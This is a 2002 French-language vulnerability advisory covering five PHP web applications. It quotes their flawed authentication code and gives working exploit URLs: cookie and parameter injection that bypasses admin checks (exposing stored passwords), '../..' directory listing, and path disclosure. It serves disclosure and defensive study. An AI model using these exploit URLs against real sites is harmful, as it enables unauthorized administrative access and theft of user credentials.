5 holes, Part 7 *************** Intro : ******* "Le noir est la couleur de la démocratie" Baudelaire Date : ****** 06 Juin 2002 Services : ********** - Rose - EasyNews - User Online - Mon Album - KorWebLog Developpements : **************** 1) Rose ~~~~~~~ http://www.jinxm.co.uk Version : 4.52 (et moins ?) Problème : - Accès à une partie de l'administration Developpement : Le fichier /newsadmin/upload.php permet de gerer les images. Il y a 3 niveau d'administration sur ce fichier. Le premier permet de voir les images, et de les changer de place. Le deuxième permet en plus d'uploader des nouveaux fichiers et le troisième de supprimer des fichiers. Voici la partie du code qui s'occupe de la sécurité : ---------------------------------------------------------------------------------------- # check they are logged in and stuff $loggedin = $HTTP_COOKIE_VARS["con-Logger"]; # if not logged in re-direct to index.php if (($userinfo[userlevel] == '') OR ($loggedin != "1") OR ($userinfo[username] == '')) { Header("Location: index.php"); } ---------------------------------------------------------------------------------------- 3 conditions : - La valeur du cookie nommé con-Logger doit être 1 - userinfo[userlevel] ne doit pas être vide - userinfo[username] ne doit pas être vide Pour accèder à la page comme un admin, il suffira donc d'envoyer le cookie con-Logger avec comme valeur 1 sur la page http://www.victime.com/newsadmin/upload.php?userinfo[username]=hop&userinfo[userlevel]=1 Mais cela ne nous donne ni le droit d'uploader ni le droit de supprimer un fichier. On peut voir ces conditions dans upload.php : if ($userinfo[userlevel] > 69) { pour uploader ou if ($userinfo[userlevel] > 49) { pour supprimer. L'url sur laquelle on va envoyer le cookie sera donc : http://www.victime.com/newsadmin/upload.php?userinfo[username]=hop&userinfo[userlevel]=100 2 EasyNews ~~~~~~~~~~ http://www.webrc.ca Versions : 4.3 (et moins ?) Problème : - Accès à la partie admin Developpement : Dans admin.php, on peut voir : ---------------------------------------------------------- [...] include "config2.php"; echo "Easynews Admin"; if(@$admin[$en_login_id] == "true") { [...] ---------------------------------------------------------- Le code de base de config2.php : -------------------------------------------- -------------------------------------------- On peut voir que la valeur que $en_login_id doit avoir pour que $admin[$en_login_id] valle true est 0 . Donc http://www.site.com/admin.php?en_log_id=0 nous donnera accès à la partie admin. Pour les 2 actions possibles, il faudra rajouter en_log_id=0 . admin.php?en_log_id=0&action=config permet de changer le design, le titre, d'inserer du html dans la page, ... admin.php?en_log_id=0&action=users montre tout les mots de passe membres et admins. 3) User Online ~~~~~~~~~~~~~~ http://www.elpar.net Version : 2.0 (et moins ?) Problème : - Récuperation d'infos Developpement : User Online compte le nombre du visiteurs sur un site ou une page. Les ips sont stockés et lisibles par tous dans ip.txt . 4) Mon Album ~~~~~~~~~~~~ http://www.3dsrc.com Version : 0.6.2d (et moins?) Problème : - Récuperation d'infos ( phpinfo ) - Accès à la partie admin Developpement : On peut voir dans admin.php4, comme dans la plupart des fichiers du dossier /admin/, les lignes : -------------------------------- -------------------------------- L'url http://www.victim.com/admin.php4?reg_login=1 nous donnera donc accès à la partie admin. Il y a un seul fichier qui ne contient pas cette vérification, c'est /admin/admin_phpinfo.php4 . Voici son code complet : ----------------- ----------------- On pourra donc trouver bon nombre d'informations sur cette page. 5) KorWebLog ~~~~~~~~~~~~ http://weblog.kldp.org/ http://eunjea.sourceforge.net/ Version : 1.5.8 1.5.7 1.5.6(et moins ?) Problème : - Listing de tout le dossier du HD - Path Disclosure Developpement : Le fichier viewimg.php permet d'afficher les smileys disponibles dans le service. Ce qu'il fait en réalité, c'est lister le contenu du dossier où se trouve les images et les afficher. Les smileys se trouvant dans images.d/face, l'url d'origine est : http://www.site.com/viewimg.php?path=images.d/face&form=Com&var=faceicon Les seules conditions pour afficher les images sont : - Le path doit exister - form ne doit pas être vide - var ne doit pas être vide Pour afficher le contenu de 2 dossiers parents du site, il suffira donc d'entrer l'url : http://www.victim.com/viewimg.php?path=../..&form=1&var=1 Pour afficher le path du site, il suffira d'entrer à la place d'un vrai path le nom d'un fichier existant. Il retournera alors une erreur disant que ce n'est pas un dossier mais un fichier, et affichera le path. Par exemple, l'url : http://www.victim.com/viewimg.php?path=viewimg.php&form=1&var=1 Greetz : ******** / Credits : ********* frog-m@n leseulfrog@hotmail.com